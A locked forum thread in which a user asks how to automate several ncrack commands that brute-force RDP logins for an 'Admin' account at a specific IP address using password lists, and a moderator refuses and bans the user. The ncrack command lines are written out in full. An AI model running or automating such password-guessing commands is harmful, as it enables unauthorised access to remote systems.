Jump to content

windows cmd batch run multiple commands one after another


Recommended Posts

How to run  (OS wINDOWS -cmd.exe)   multiple commands one after another, i use ncrack, commands

I open manually cmd.exe and i paste this code:

ncrack --user Admin -P pass1.txt 12.2.182.201:3389 -oN good.txt -f

When pass1.txt is finished i paste manually to cmd.exe the second command,wich contains the Pass2.txt etc...:

 

ncrack --user Admin -P pass1.txt 12.2.182.201:3389 -oN good.txt -f

then i paste manually to cmd , Pass.3txt

ncrack --user Admin -P pass3.txt 12.2.182.201:3389 -oN good.txt -f

How can i run all  commands automatically ?in a batch file ?

 

Link to comment
Share on other sites

  • Developers

Ok ...so lets deal with you now.

As stated already: It seems you are a little impatient bugger coming here to ask support for dubious activities, so given you already have made me loose my patience with you, consider yourself banned.

Jos

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

  • Jos locked this topic
Guest
This topic is now closed to further replies.
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...